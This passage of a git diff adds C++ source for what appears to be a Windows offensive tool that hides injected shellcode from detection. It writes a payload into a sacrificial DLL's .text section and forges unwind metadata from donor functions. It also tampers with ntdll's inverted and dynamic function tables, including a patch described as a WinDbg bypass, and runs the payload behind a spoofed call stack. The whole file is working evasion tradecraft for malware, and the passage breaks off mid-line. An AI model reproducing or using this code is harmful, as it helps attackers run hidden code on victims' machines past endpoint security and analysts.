+#ifdef DEBUG + DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + return TRUE; + } + } + + return FALSE; +} + +/*================================================ +@ ConstructShadowGateParams Function +# Builds a SHADOW_GATE_PARAMS struct from an +# argument array. Allocates enough space for the +# base struct plus variable-length argv, then +# copies function pointer, frame size, and args +================================================*/ +PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParams( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + _In_ PULONG_PTR pArgv +) { + SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0); + PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size); + if (!ShadowParams) + return nullptr; + + ShadowParams->pFunction = (ULONG_PTR)pFunction; + ShadowParams->dwMinimumFrameSize = dwFrameSize; + ShadowParams->argc = Argc; + + for (ULONG_PTR i = 0; i < Argc; i++) + ShadowParams->argv[i] = pArgv[i]; + + return ShadowParams; +} + +/*================================================ +@ ConstructShadowGateParamsVa Function +# Variadic version of ConstructShadowGateParams. +# Same allocation and layout but pulls arguments +# from va_list instead of an array pointer +================================================*/ +PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParamsVa( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + ... +) { + SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0); + PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size); + va_list Args; + if (!ShadowParams) + return nullptr; + + ShadowParams->pFunction = (ULONG_PTR)pFunction; + ShadowParams->dwMinimumFrameSize = dwFrameSize; + ShadowParams->argc = Argc; + + va_start(Args, Argc); + for (ULONG_PTR i = 0; i < Argc; i++) + ShadowParams->argv[i] = va_arg(Args, ULONG_PTR); + va_end(Args); + + return ShadowParams; +} + +/*================================================ +@ RegisterSpoofedRuntimeFunction Function +# Orchestrator — executes all layers of +# Technique 6 in sequence: +# 1. Find donor, borrow UnwindData +# 2. Collapse _INVERTED_FUNCTION_TABLE entry +# 3. Flush ntdll caches +# 4. RtlAddFunctionTable + Type=0 trick +# 5. .pdata -> PAGE_NOACCESS +# Every modification is tracked in BYOUD_CONTEXT +# for clean reversal via RevertAllSpoofChanges +================================================*/ +BOOL StackSpoof::RegisterSpoofedRuntimeFunction( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ DWORD dwShcOffset, + _In_ DWORD dwShcSize, + _In_ DWORD dwDesired, + OUT PDWORD pdwActual +) { + PRUNTIME_FUNCTION RuntimeFunction = (PRUNTIME_FUNCTION)::operator new(sizeof(RUNTIME_FUNCTION)); + if (!RuntimeFunction) + return FALSE; + + PRUNTIME_FUNCTION Donor = Unwinder::FindDonorByFrameSize(pModule, dwDesired, FALSE, pdwActual); + if (!Donor) { + ::operator delete(RuntimeFunction); +#ifdef DEBUG + DBGPRINT("[-] No Donor Found For Desired Size 0x%lx \n", dwDesired); +#endif + return FALSE; + } + + RuntimeFunction->BeginAddress = dwShcOffset; + RuntimeFunction->EndAddress = dwShcOffset + dwShcSize; + RuntimeFunction->UnwindData = Donor->UnwindData; + + /* Unlock .pdata for manipulation */ + Unwinder::UnlockPDataSection(pModule); + + /* Collapse ImageSize in _INVERTED_FUNCTION_TABLE */ + ULONG OldInv = 0; + Unwinder::CollapseInvertedTableEntry(pModule, &OldInv); + ByoudContext::TrackInvertedTableCollapse(pByoudCtx, pModule, OldInv); + + /* Flush ntdll lookup caches */ + ULONG_PTR CacheAddress = 0; + DWORD Old = 0; + + StackSpoof::FlushFunctionTableCache(&CacheAddress, &Old); + if (CacheAddress) { + ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old); + } + + CacheAddress = 0; + Old = 0; + + StackSpoof::FlushFunctionEntryCache(&CacheAddress, &Old); + if (CacheAddress) { + ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old); + } + + /* Re-lock .pdata */ + Unwinder::LockPDataSection(pModule); + + /* Register dynamic function table */ + g_Win32.Nt.RtlAddFunctionTable(RuntimeFunction, 1, (DWORD64)pModule); + ByoudContext::TrackDynamicTableInsertion(pByoudCtx, RuntimeFunction); + + /* Type=0 patch for WinDbg bypass */ + PDYNAMIC_FUNCTION_TABLE DynamicEntry = Unwinder::LocateDynamicFunctionTableEntry( + (ULONG_PTR)pModule + dwShcOffset + ); + + if (DynamicEntry) { + ByoudContext::TrackDynamicTableTypeChange(pByoudCtx, DynamicEntry, DynamicEntry->Type); + DynamicEntry->Type = 0; + } + + /* .pdata -> PAGE_NOACCESS */ + DWORD NaOld = 0; + StackSpoof::SuppressPDataAccess(pModule, &NaOld); + + BYOUD_CHANGE NaChange = {}; + NaChange.Type = BCT_PDATA_NOACCESS; + NaChange.u.Pdata.pModule = pModule; + NaChange.u.Pdata.OldProtect = NaOld; + ByoudContext::CommitSpoofChange(pByoudCtx, &NaChange); + + return TRUE; +} + +/*================================================ +@ ExecuteWithSpoofedStack Function +# Top-level wrapper: loads sacrificial DLL, writes +# payload + ShadowGate stub into .text slack space, +# registers spoofed RUNTIME_FUNCTION, measures +# stack distance, calls payload via ShadowGate, +# then reverts all changes +================================================*/ +ULONG_PTR StackSpoof::ExecuteWithSpoofedStack( + _In_ PVOID pPayload, + _In_ DWORD dwPayloadSize +) { + WCHAR DllName[] = { L'w',L'i',L'n',L'd',L'o',L'w',L's',L'.',L's',L't',L'o',L'r',L'a',L'g',L'e',L'.',L'd',L'l',L'l',L'\0' }; + + /* Load sacrificial DLL */ + PVOID pModule = Proxy::WorkItemLoadLibrary(DllName); + if (!pModule) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Load Sacrificial DLL \n"); +#endif + return 0; + } + +#ifdef DEBUG + DBGPRINT("[+] Sacrificial DLL Loaded -> 0x%p \n", pModule); +#endif + + /* Write payload into .text slack space */ + DWORD dwPayloadRva = 0; + if (!Unwinder::AppendCodeToText(pModule, pPayload, dwPayloadSize, &dwPayloadRva)) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Append Payload To .text \n"); +#endif + return 0; + } + + /* Write ShadowGate stub into .text slack space */ + PVOID pShadowGateLocal = (PVOID)ShadowGate; + DWORD dwShadowGateSize = (DWORD)((ULONG_PTR)ShadowGateEnd - (ULONG_PTR)ShadowGate); + + DWORD dwGateRva = 0; + if (!Unwinder::AppendCodeToText(pModule, pShadowGateLocal, dwShadowGateSize, &dwGateRva)) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Append ShadowGate To .text \n"); +#endif + return 0; + } + +#ifdef DEBUG + DBGPRINT("[+] Payload RVA: 0x%lx, ShadowGate RVA: 0x%lx (Size: 0x%lx) \n", + dwPayloadRva, dwGateRva, dwShadowGateSize); +#endif + + /* Measure stack distance */ + ULONG_PTR StackPtr = 0; + ULONG_PTR StackSpace = StackUtils::ResolveThreadStackOrigin(&StackPtr); + ULONG_PTR RspHere = CaptureStackPointer(); + + StackSpace = StackPtr - RspHere + 8; + + /* Initialize spoof context */ + BYOUD_CONTEXT Ctx = {}; + ByoudContext::InitializeSpoofContext(&Ctx, RTFI_JIT_WINDBG, pModule); + + /* Register spoofed RUNTIME_FUNCTION */ + DWORD dwActual = 0; + if (!StackSpoof::RegisterSpoofedRuntimeFunction( + &Ctx, pModule, dwPayloadRva, dwPayloadSize, + (DWORD)StackSpace + 8, &dwActual)) + { +#ifdef DEBUG + DBGPRINT("[-] RegisterSpoofedRuntimeFunction Failed \n"); +#endif + ByoudContext::RevertAllSpoofChanges(&Ctx); + return 0; + } + + /* Adjust for ShadowGate's 6 register push pairs */ + if (dwActual > 0) + dwActual -= 6 * 8; + + /* Build params and execute via copied ShadowGate in .text */ + PVOID pEntryPoint = (PVOID)((ULONG_PTR)pModule + dwPayloadRva); + ULONG_PTR Args[] = { 0 }; + + PSHADOWGATE_PARAMS pParams = StackSpoof::ConstructShadowGateParams( + pEntryPoint, dwActual, 0, Args + ); + + typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS); + fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva); + + ULONG_PTR Result = pCopiedGate(pParams); + +#ifdef DEBUG + DBGPRINT("[+] Payload Returned -> 0x%Ix \n", Result); +#endif + + /* Cleanup */ + ::operator delete(pParams); + ByoudContext::RevertAllSpoofChanges(&Ctx); + + return Result; +} \ No newline at end of file diff --git a/src/StackUtils.cpp b/src/StackUtils.cpp new file mode 100644 index 0000000..23570e8 --- /dev/null +++ b/src/StackUtils.cpp @@ -0,0 +1,62 @@ +/* StackUtils.cpp */ +#include +#include "Structs.h" +#include "Common.h" +#include "Primitives.h" +#include "Debug.h" + +/*================================================ +@ ResolveThreadStackOrigin Function +# Combines the resolver and stack scanner to +# calculate the required stack frame size for +# stack spoofing. Locates BaseThreadInitThunk, +# finds its internal CALL offset, then scans +# the stack for that return address +================================================*/ +ULONG_PTR StackUtils::ResolveThreadStackOrigin( + OUT PULONG_PTR puStackPointer +) { + /* Find BTIT address */ + PVOID Btit = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk")); + if (Btit == nullptr) { +#ifdef DEBUG + DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return 0; + } + + /* Find offset of the call instruction inside BTIT */ + DWORD CallOffset = Resolver::LocateCallInstructionOffset((ULONG_PTR)Btit, 0x100); + + /* Search the stack for the return address */ + ULONG_PTR StackSpace = ScanStackForValue( + (ULONG_PTR)Btit + CallOffset, + puStackPointer + ); + +#ifdef DEBUG + DBGPRINT("[i] BTIT Return Address Found -> 0x%Ix \n", StackSpace); +#endif + return StackSpace; +} + +/*================================================ +@ DetectStackCookiePresence Function +# Checks whether the given module was compiled +# with /GS by inspecting the SecurityCookie field +# in the PE's Load Configuration Directory +================================================*/ +BOOL StackUtils::DetectStackCookiePresence( + _In_ PVOID pModule +) { + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return FALSE; + + auto LcDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]; + if (!LcDir->VirtualAddress || !LcDir->Size) + return FALSE; + + auto Lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)((PBYTE)pModule + LcDir->VirtualAddress); + return Lc->SecurityCookie != 0; +} \ No newline at end of file diff --git a/src/Unwind.cpp b/src/Unwind.cpp new file mode 100644 index 0000000..7a81eee --- /dev/null +++ b/src/Unwind.cpp @@ -0,0 +1,885 @@ +/* Unwind.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Debug.h" +#include "Common.h" + +/*================================================ +@ CalculateUnwindFrameSize Function +# Parses UNWIND_INFO opcodes to compute total +# stack frame size. Handles all opcode variants +# including multi-slot ALLOC_LARGE and recursive +# chained unwind info descent +================================================*/ +DWORD Unwinder::CalculateUnwindFrameSize( + _In_ PVOID pModule, + _In_ PVOID pUnwindInfo, + OUT PDWORD pdwTarget +) { + PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)pUnwindInfo; + PUNWIND_CODE UnwindCode = (PUNWIND_CODE)UnwindInfo->UnwindCode; + DWORD FrameSize = 0; + DWORD Node = 0; + BYTE OpInfo = 0; + + *pdwTarget = 0; + + while (Node < UnwindInfo->CountOfCodes) { + + switch (UnwindCode->UnwindOp) { + + case UWOP_PUSH_NONVOL: { + /* Each non-volatile register push decrements RSP by 8 */ + *pdwTarget += sizeof(PVOID); + FrameSize += sizeof(PVOID); + break; + } + + case UWOP_ALLOC_LARGE: { + /* Two variants: OpInfo = 0 and OpInfo = 1 */ + OpInfo = UnwindCode->OpInfo; + + /* First slot read (the opcode itself) + now advance to the next slot because the size is there + */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); /* PWORD = 2 bytes, One slot = 2 bytes */ + Node++; + + if (OpInfo == 0) { + /* FrameOffset * 8 = allocation byte count */ + FrameSize += (DWORD)UnwindCode->FrameOffset * 8; + } else { + /* Build a 32-bit number from two consecutive FrameOffset values + slot N+1 = low 16 bits, slot N+2 = high 16 bits + */ + DWORD Low = UnwindCode->FrameOffset; + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + FrameSize += Low | ((DWORD)UnwindCode->FrameOffset << 16); + } + + *pdwTarget += FrameSize; + break; + } + + case UWOP_ALLOC_SMALL: { + /* (OpInfo + 1) * 8 = Allocation size */ + *pdwTarget += sizeof(PVOID) * (UnwindCode->OpInfo + 1); + FrameSize += sizeof(PVOID) * (UnwindCode->OpInfo + 1); + break; + } + + case UWOP_SET_FPREG: + /* lea rbp, [rsp + x] frame pointer setup + RSP unchanged, just skip + */ + break; + + case UWOP_SAVE_NONVOL: { + /* Register saved via MOV, not push - 1 extra slot for the offset value + RSP unchanged, just skip + */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + break; + } + + case UWOP_SAVE_NONVOL_BIG: { + /* Same thing but with 32-bit offset -> 2 extra slots */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2); + Node += 2; + break; + } + + case UWOP_EPILOG: /* 6 */ + case UWOP_SAVE_XMM128: { + /* XMM register save - 1 extra slot, RSP unchanged */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + break; + } + + case UWOP_SPARE_CODE: /* 7 */ + case UWOP_SAVE_XMM128BIG: { + /* XMM register save with 32-bit offset -> 2 extra slots */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2); + Node += 2; + break; + } + + case UWOP_PUSH_MACH_FRAME: { + /* Hardware interrupt frame - 0x40 or 0x48 bytes */ + if (UnwindCode->OpInfo == 0) { + *pdwTarget += 0x40; + FrameSize += 0x40; + } else { + *pdwTarget += 0x48; + FrameSize += 0x48; + } + break; + } + } + + /* Advance to next opcode */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + } + + /* If UNW_FLAG_CHAININFO is set, another RUNTIME_FUNCTION + pointer follows the UnwindCode array + in that case, recursively parse that entry too + */ + if (BitChainInfo(UnwindInfo->Flags)) { + + if (!pModule) + return FrameSize; + + Node = UnwindInfo->CountOfCodes; + if (Node & 1) Node++; /* Align to even */ + + PRUNTIME_FUNCTION RtFunc = (PRUNTIME_FUNCTION)(&UnwindInfo->UnwindCode[Node]); + return CalculateUnwindFrameSize(pModule, (PVOID)((ULONG_PTR)pModule + RtFunc->UnwindData), pdwTarget); + } + + return FrameSize; +} + +/*================================================ +@ FindDonorByFrameSize Function +# Scans .pdata to find a donor function with a +# compatible frame size. Filters for UHANDLER +# flag and enforces x64 ABI stack alignment +# (difference % 16 == 8) +================================================*/ +PRUNTIME_FUNCTION Unwinder::FindDonorByFrameSize( + _In_ PVOID pModule, + _In_ DWORD dwFrameSize, + _In_ BOOL bStrict, + OUT PDWORD pdwActual +) { + DWORD Size = 0; + PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size); + DWORD Count = Size / sizeof(RUNTIME_FUNCTION); + + if (!RtTable) + return nullptr; + + for (int i = 0; i < Count; i++) { + + DWORD UnwindRVA = RtTable[i].UnwindData; + if (!UnwindRVA || (UnwindRVA & 0x1)) + continue; + + PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)((PBYTE)pModule + UnwindRVA); + + /* Skip entries without UNW_FLAG_UHANDLER + Reason -> functions with handlers have more complete UNWIND_INFO + */ + if (!(UnwindInfo->Flags & UNW_FLAG_UHANDLER)) + continue; + + DWORD Pointless = 0; + DWORD Actual = Unwinder::CalculateUnwindFrameSize(pModule, UnwindInfo, &Pointless); + + if (bStrict && Actual == dwFrameSize) { + if (pdwActual) + *pdwActual = 0; + return &RtTable[i]; + } + + else if (!bStrict && Actual >= (dwFrameSize + 0x28) && Actual <= (dwFrameSize + 0x500)) { + + DWORD Difference = Actual - dwFrameSize; + if ((Difference % 16) == 8) { + if (pdwActual) + *pdwActual = Difference; + return &RtTable[i]; + } + } + } + +#ifdef DEBUG + DBGPRINT("[-] No Donor Found For Frame Size 0x%lx \n", dwFrameSize); +#endif + return nullptr; +} + +/*================================================ +@ UnlockPDataSection Function +# Sets .pdata memory protection to PAGE_READWRITE +# via proxied NtProtectVirtualMemory. Required +# before any .pdata manipulation +================================================*/ +NTSTATUS Unwinder::UnlockPDataSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); +} + +/*================================================ +@ LockPDataSection Function +# Restores .pdata memory protection to +# PAGE_READONLY via proxied NtProtectVirtualMemory +================================================*/ +NTSTATUS Unwinder::LockPDataSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &OldProtect); +} + +/*================================================ +@ UnlockTextSection Function +# Sets .text memory protection to PAGE_EXECUTE_READWRITE +# via proxied NtProtectVirtualMemory. +================================================*/ +NTSTATUS Unwinder::UnlockTextSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProtect); +} + +/*================================================ +@ LockTextSection Function +# Restores .text memory protection to +# PAGE_EXECUTE_READ via proxied NtProtectVirtualMemory +================================================*/ +NTSTATUS Unwinder::LockTextSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &OldProtect); +} + +/*================================================ +@ ResolveDynamicFunctionTablePtrs Function +# Locates the _DYNAMIC_FUNCTION_TABLE linked list +# head pointer and sentinel by pattern scanning +# RtlAddFunctionTable's machine code for the +# MOV/LEA/CMP triple instruction sequence +================================================*/ +BOOL Unwinder::ResolveDynamicFunctionTablePtrs( + _In_ HANDLE hProcess, + OUT PULONG_PTR puHeadPtr, + OUT PULONG_PTR puSentinel +) { + /* Get Ntdll Info */ + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll; + auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew); + SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; + + /* Find RtlAddFunctionTable's address */ + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + if (!FnAddress) + return FALSE; + + /* Read the function's machine code */ + BYTE Buffer[1024] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Helper lambdas */ + /* InNtdll: checks if an address falls within ntdll's address range + prevents false positives - a random RIP-relative reference + pointing outside ntdll is invalid + */ + auto InNtdll = [&](ULONG_PTR uAddress) { + return uAddress > NtdllBase && uAddress < NtdllBase + NtdllSize; + }; + + /* RipRel: resolves RIP-relative addressing + x64 MOV/LEA [RIP+offset] pattern works as follows: + instruction address + instruction length + rel32 = target address + */ + auto RipRel = [&](int i, int Off, int Len) -> ULONG_PTR { + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + Off], sizeof(INT32)); + return FnAddress + i + Len + Rel; + }; + + /* + Pattern Search: RtlAddFunctionTable inserts a new entry into the linked list + to do this it must load the head pointer and sentinel + + Pattern We're looking for: + 48 8B 05 [rel32] -> MOV RAX, [RIP + offset] (Load Head Pointer) + 48 8D 0D [rel32] -> LEA RCX, [RIP + offset] (Load Sentinel Address) + 48 39 08 -> CMP [RAX], RCX (Check If List Is Empty) + */ + for (int i = 0; i < 1004; i++) { + + /* Find MOV RAX, [RIP+OFFSET] + 48 = REX.W prefix (64-bit operand) + 8B = MOV opcode + 05 = ModR/M: [RIP+disp32] -> RAX + */ + if (Buffer[i] != 0x48 || Buffer[i + 1] != 0x8B || Buffer[i + 2] != 0x05) + continue; + + ULONG_PTR HeadPtr = RipRel(i, 3, 7); /* Offset starts at byte 3, Instruction is 7 bytes long */ + if (!(InNtdll(HeadPtr))) + continue; /* If Head pointer is outside ntdll, this is a false match */ + + + /* Find LEA RCX, [RIP + offset] */ + for (int j = i + 7; j < i + 48 && j < 1014; j++) { + + if (Buffer[j] != 0x48 || Buffer[j + 1] != 0x8D) + continue; + + if ((Buffer[j + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Sentinel = RipRel(j, 3, 7); + if (!(InNtdll(Sentinel))) + continue; + + /* Find CMP [RAX], RCX */ + for (int k = j + 7; k < j + 16 && k < 1021; k++) { + + if (Buffer[k] == 0x48 && Buffer[k + 1] == 0x39 && Buffer[k + 2] == 0x08) { + /* Triple pattern matched -> head and sentinel found*/ + *puHeadPtr = HeadPtr; + *puSentinel = Sentinel; +#ifdef DEBUG + DBGPRINT("[*] Triple Pattern Matched \n"); + DBGPRINT("[i] \tHead Pointer -> %Ix \n", HeadPtr); + DBGPRINT("[i] \tSentinel -> %Ix \n", Sentinel); +#endif + return TRUE; + } + } + } + } + +#ifdef DEBUG + DBGPRINT("[-] Could Not Find Head And Sentinel Pointer - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; +} + +/*================================================ +@ LocateDynamicFunctionTableEntry Function +# Walks the _DYNAMIC_FUNCTION_TABLE linked list +# to find the entry whose address range covers +# the shellcode. Used to modify the Type field +# for WinDbg bypass (Type = 0 trick) +================================================*/ +PDYNAMIC_FUNCTION_TABLE Unwinder::LocateDynamicFunctionTableEntry( + _In_ ULONG_PTR uAddress +) { + ULONG_PTR HeadPtr = 0; + ULONG_PTR Sentinel = 0; + if (!Unwinder::ResolveDynamicFunctionTablePtrs(NtCurrentProcess(), &HeadPtr, &Sentinel)) { + return nullptr; + } + + /* Head Pointer -> Address of the first entry + Sentinel -> End of the list (circular list guard) + */ + ULONG_PTR Current = *(PULONG_PTR)HeadPtr; + INT i = 0; + + while (Current != Sentinel) { + + PDYNAMIC_FUNCTION_TABLE DynamicEntry = (PDYNAMIC_FUNCTION_TABLE)Current; + + /* MinimumAddress <= Address < MaximumAddress -> this entry covers our shellcode */ + if (uAddress >= DynamicEntry->MinimumAddress && uAddress < DynamicEntry->MaximumAddress) + return DynamicEntry; + + /* Move to the next entry in the linked list */ + Current = (ULONG_PTR)DynamicEntry->Links.Flink; + if (++i > 1000) + break; + } + + return nullptr; +} + +/*================================================ +@ LocateInvertedFunctionTable Function +# Finds _INVERTED_FUNCTION_TABLE address and its +# SRW lock by chaining through RtlLookupFunction +# Entry -> RtlpxLookupFunctionTable, collecting +# RIP-relative references, and identifying the +# lock via RtlAcquireSRWLockShared call proximity +================================================*/ +BOOL Unwinder::LocateInvertedFunctionTable( + OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable, + OUT PRTL_SRWLOCK* ppSrwLock +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll; + auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew); + SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; + + auto InNtdll = [&](ULONG_PTR A) { + return A > NtdllBase && A < NtdllBase + NtdllSize; + }; + + auto RipRel = [&](const BYTE* B, int i, int Off, int Len, ULONG_PTR Base) -> ULONG_PTR { + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, (PVOID)&B[i + Off], sizeof(INT32)); + return Base + i + Len + Rel; + }; + + /* Step 1: Try KiUserInvertedFunctionTable export + Some Windows builds export this table directly + fastest path - if found, no pattern scan needed + */ + ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable")); + + /* Step 2: Read RtlLookupFunctionEntry's machine code + This function is called during stack walks + internally it calls RtlpxLookupFunctionTable + we find that CALL to learn the inner function's address + */ + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + if (!FnAddress) + return FALSE; + + BYTE Buffer[1024] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Step 3: Find RtlpxLookupFunctionTable + looking for the first E8 (CALL rel32) in RtlLookupFunctionEntry + this CALL most likely targets RtlpxLookupFunctionTable + */ + ULONG_PTR RtlpxAddress = 0; + for (int i = 0; i < 1019; i++) { + + if (Buffer[i] != 0xE8) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + 1], 4); + ULONG_PTR Target = FnAddress + i + 5 + Rel; + + if (InNtdll(Target)) { + RtlpxAddress = Target; + break; + } + } + + if (!RtlpxAddress) + return FALSE; + + /* Step 4: Read RtlpxLookupFunctionTable machine code */ + BYTE Buffer2[1024] = { 0 }; + Primitive::MemoryCopy(Buffer2, (PVOID)RtlpxAddress, sizeof(Buffer2)); + + /* Step 5: Collect all RIP-relative references + Inside RtlpxLookupFunctionTable: + LEA Rxx, [RIP+offset] -> Loads address of a global variable + MOV Rxx, [RIP+offset] -> Loads a global pointer + one of these references is _INVERTED_FUNCTION_TABLE + another is the SRW lock + we don't know which is which yet - we'll distinguish in later steps + */ + struct RipRef {int Offset; BYTE Op; ULONG_PTR Target; }; + RipRef Refs[64] = { 0 }; + INT nRefs = 0; + + for (int i = 0; i < 1017 && nRefs < 64; i++) { + + /* REX prefix: 0x48 (W) or 0x4C (WR) */ + if (Buffer2[i] != 0x48 && Buffer2[i] != 0x4C) + continue; + + /* 0x8B = MOV, 0x8D = LEA */ + if (Buffer2[i + 1] != 0x8B && Buffer2[i + 1] != 0x8D) + continue; + + if ((Buffer2[i + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Target = RipRel(Buffer2, i, 3, 7, RtlpxAddress); + if (!InNtdll(Target)) + continue; + + Refs[nRefs++] = {i, Buffer2[i + 1], Target }; + } + + /* Step 6: Find the SRW lock + RtlpxLookupFunctionTable acquires a lock before reading the table: + LEA RCX, [RIP+offset] <- Load lock address + CALL RtlAcquireSRWLockShared <- Acquire lock + */ + ULONG_PTR LockAddress = 0; + ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared")); + + for (int i = 5; i < 1019; i++) { + + if (Buffer2[i] != 0xE8) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer2[i + 1], 4); + ULONG_PTR CallTarget = RtlpxAddress + i + 5 + Rel; + + /* Is this CALL targeting RtlAcquireSRWLockShared ? */ + if (CallTarget != AcquireShared) + continue; + + /* Yes -> there's a LEA just before it + Scan bbackwards up to 16 bytes + */ + for (int j = i - 1; j >= (i - 16 > 0 ? i - 16 : 0); j--) { + + if (Buffer2[j] != 0x48 && Buffer2[j] != 0x4C) + continue; + if (Buffer2[j + 1] != 0x8D) + continue; + if ((Buffer2[j + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Candidate = RipRel(Buffer2, j, 3, 7, RtlpxAddress); + if (InNtdll(Candidate)) { + LockAddress = Candidate; + break; + } + } + + if (LockAddress) + break; + } + + /* Step 7: determine table address (if export was not found) + Find the LEA reference that is NOT the lock + that reference is the _INVERTED_FUNCTION_TABLE address + Validation: the first DWORD at the referenced location + is the table's Count field - should be a reasonable value (0-512) + */ + if (!TableAddress) { + + for (int i = 0; i < nRefs; i++) { + + if (Refs[i].Op != 0x8D) + continue; + + if (Refs[i].Target == LockAddress) + continue; + + ULONG_PTR TblCandidate = *(PULONG_PTR)Refs[i].Target; + if (!TblCandidate) + continue; + + /* Count field sanity check */ + ULONG Count = *(ULONG*)TblCandidate; + if (Count == 0 || Count > 512) + continue; + + TableAddress = TblCandidate; + break; + } + } + + if (!LockAddress || !TableAddress) + return FALSE; + +#ifdef DEBUG + DBGPRINT("[+] 